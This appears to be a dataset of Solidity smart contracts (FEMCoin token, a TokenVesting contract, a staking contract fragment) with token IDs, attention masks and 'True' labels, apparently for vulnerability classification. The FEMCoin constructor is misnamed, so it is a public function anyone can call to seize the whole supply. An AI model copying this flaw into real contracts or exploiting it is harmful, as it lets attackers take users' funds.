1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
2507,
2019,
4070,
3229,
2000,
2023,
2535,
1012,
1008,
1013,
3853,
5587,
1006,
2535,
5527,
2535,
1010,
4769,
4070,
1007,
4722,
1063,
5478,
1006,
999,
2038,
1006,
2535,
1010,
4070,
1007,
1010,
1000,
4395,
1024,
4070,
2525,
2038,
2535,
1000,
1007,
1025,
2535,
1012,
20905,
1031,
4070,
1033,
1027,
2995,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
6366,
2019,
4070,
1005,
1055,
3229,
2000,
2023,
2535,
1012,
1008,
1013,
3853,
6366,
1006,
2535,
5527,
2535,
1010,
4769,
4070,
1007,
4722,
1063,
5478,
1006,
2038,
1006,
2535,
1010,
4070,
1007,
1010,
1000,
4395,
1024,
4070,
2515,
2025,
2031,
2535,
1000,
1007,
1025,
2535,
1012,
20905,
1031,
4070,
1033,
1027,
6270,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4638,
2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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract FEMCoin {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 2;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = 10000000000;
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "FEMCoin"; // Set the name for display purposes
symbol = "FEMC"; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2385,
1025,
8278,
19204,
2890,
6895,
14756,
3372,
1063,
3853,
4374,
29098,
12298,
2389,
1006,
4769,
1035,
2013,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1010,
4769,
1035,
19204,
1010,
27507,
1035,
4469,
2850,
2696,
1007,
2270,
1025,
1065,
3206,
10768,
12458,
28765,
1063,
1013,
1013,
2270,
10857,
1997,
1996,
19204,
5164,
2270,
2171,
1025,
5164,
2270,
6454,
1025,
21318,
3372,
2620,
2270,
26066,
2015,
1027,
1016,
1025,
1013,
1013,
2324,
26066,
2015,
2003,
1996,
6118,
4081,
12398,
1010,
4468,
5278,
2009,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
1013,
1013,
2023,
9005,
2019,
9140,
2007,
2035,
5703,
2015,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2270,
5703,
11253,
1025,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
1007,
2270,
21447,
1025,
1013,
1013,
2023,
19421,
1037,
2270,
2724,
2006,
1996,
3796,
24925,
2078,
2008,
2097,
2025,
8757,
7846,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1013,
1013,
2023,
2025,
14144,
7846,
2055,
1996,
3815,
11060,
2724,
6402,
1006,
4769,
25331,
2013,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1013,
1008,
1008,
1008,
9570,
2953,
3853,
1008,
1008,
3988,
10057,
3206,
2007,
3988,
4425,
19204,
2015,
2000,
1996,
8543,
1997,
1996,
3206,
1008,
1013,
3853,
19204,
2121,
2278,
11387,
1006,
21318,
3372,
17788,
2575,
20381,
6279,
22086,
1010,
5164,
19204,
18442,
1010,
5164,
19204,
6508,
13344,
2140,
1007,
2270,
1063,
21948,
6279,
22086,
1027,
6694,
8889,
8889,
8889,
2692,
1025,
5703,
11253,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1027,
21948,
6279,
22086,
1025,
1013,
1013,
2507,
1996,
8543,
2035,
3988,
19204,
2015,
2171,
1027,
1000,
10768,
12458,
28765,
1000,
1025,
1013,
1013,
2275,
1996,
2171,
2005,
4653,
5682,
6454,
1027,
1000,
10768,
12458,
1000,
1025,
1013,
1013,
2275,
1996,
6454,
2005,
4653,
5682,
1065,
1013,
1008,
1008,
1008,
4722,
4651,
1010,
2069,
2064,
2022,
2170,
2011,
2023,
3206,
1008,
1013,
3853,
1035,
4651,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
1035,
3643,
1007,
4722,
1063,
1013,
1013,
4652,
4651,
2000,
1014,
2595,
2692,
4769,
1012,
2224,
6402,
1006,
1007,
2612,
5478,
1006,
1035,
2000,
999,
1027,
1014,
2595,
2692,
1007,
1025,
1013,
1013,
4638,
2065,
1996,
4604,
2121,
2038,
2438,
5478,
1006,
5703,
11253,
1031,
1035,
2013,
1033,
1028,
1027,
1035,
3643,
1007,
1025,
1013,
1013,
4638,
2005,
2058,
12314,
2015,
5478,
1006,
5703,
11253,
1031,
1035,
2000,
1033,
1009,
1035,
3643,
1028,
5703,
11253,
1031,
1035,
2000,
1033,
1007,
1025,
1013,
1013,
3828,
2023,
2005,
2019,
23617,
1999,
1996,
2925,
21318,
3372,
3025,
26657,
2015,
1027,
5703,
11253,
1031,
1035,
2013,
1033,
1009,
5703,
11253,
1031,
1035,
2000,
1033,
1025,
1013,
1013,
4942,
6494,
6593,
2013,
1996,
4604,
2121,
5703,
11253,
1031,
1035,
2013,
1033,
1011,
1027,
1035,
3643,
1025,
1013,
1013,
5587,
1996,
2168,
2000,
1996,
7799,
5703,
11253,
1031,
1035,
2000,
1033,
1009,
1027,
1035,
3643,
1025,
4651,
1006,
1035,
2013,
1010,
1035,
2000,
1010,
1035,
3643,
1007,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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idity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin\contracts\math\SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: contracts\HLDVesting.sol
pragma solidity 0.6.12;
/**
* @title TokenVesting
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a vesting period.
*/
contract TokenVesting {
// The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is
// therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore,
// it is recommended to avoid using short time durations (less than a minute).
// solhint-disable not-rely-on-time
using SafeMath for uint256;
event TokensReleased(address token, uint256 amount);
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// Durations and timestamps are expressed in UNIX time, the same units as block.timestamp.
uint256 private immutable _start;
uint256 private immutable _duration;
// The amount of token can be released with the first release
uint256 private immutable _initialRelease;
mapping (address => uint256) private _released;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* beneficiary, gradually in a linear fashion until start + duration. By then all
* of the balance will have vested.
* @param beneficiary address of the beneficiary to whom vested tokens are transferred
* @param start the time (as Unix time) at which point vesting starts
* @param duration duration in seconds of the period in which the tokens will vest
* @param initialRelease The amount of token can be released with the first release
*/
constructor (address beneficiary, uint256 start, uint256 duration, uint256 initialRelease) public {
require(beneficiary != address(0), "TokenVesting: beneficiary is the zero address");
require(duration > 0, "TokenVesting: duration is 0");
// solhint-disable-next-line max-line-length
require(start.add(duration) > block.timestamp, "TokenVesting: final time is before current time");
_beneficiary = beneficiary;
_duration = duration;
_start = start;
_initialRelease = initialRelease;
}
// Copied and modified Openzepplin TokenVesting contract:
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/drafts/TokenVesting.sol
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @return the start time of the token vesting.
*/
function start() public view returns (uint256) {
return _start;
}
/**
* @return the duration of the token vesting.
*/
function duration() public view returns (uint256) {
return _duration;
}
/**
* @return the initial release of the tokens.
*/
function initialRelease() public view returns (uint256) {
return _initialRelease;
}
/**
* @return the amount of the token released.
*/
function released(address token) public view returns (uint256) {
return _released[token];
}
/**
* @notice Transfers vested tokens to beneficiary.
* @param token ERC20 token which is being vested
*/
function release(IERC20 token) public {
require (msg.sender == _beneficiary, "The message sender is not beneficiary");
uint256 unreleased = _releasableAmount(token);
require(unreleased > 0, "TokenVesting: no tokens are due");
_released[address(token)] = _released[address(token)].add(unreleased);
token.transfer(_beneficiary, unreleased);
emit TokensReleased(address(token), unreleased);
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param token ERC20 token which is being vested
*/
function _releasableAmount(IERC20 token) private view returns (uint256) {
return (_initialRelease.add(_vestedAmount(token))).sub(_released[address(token)]);
}
/**
* @dev Calculates the amount that has already vested.
* @param token ERC20 token which is being vested
*/
function _vestedAmount(IERC20 token) private view returns (uint256) {
uint256 currentBalance = token.balanceOf(address(this));
uint256 totalBalance = currentBalance.add(_released[address(token)]);
totalBalance = totalBalance.sub(_initialRelease);
if (block.timestamp >= _start.add(_duration)) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(_start)).div(_duration);
}
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
6185,
1011,
2676,
1008,
1013,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1032,
8311,
1032,
19204,
1032,
9413,
2278,
11387,
1032,
29464,
11890,
11387,
1012,
14017,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1020,
1012,
1014,
1026,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1036,
4604,
2121,
1036,
2000,
1036,
7799,
1036,
2478,
1996,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-03-05
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-01
*/
/*
Spindle Braiding
Deposit Rope Here to Generate ToshiCash
*/
pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
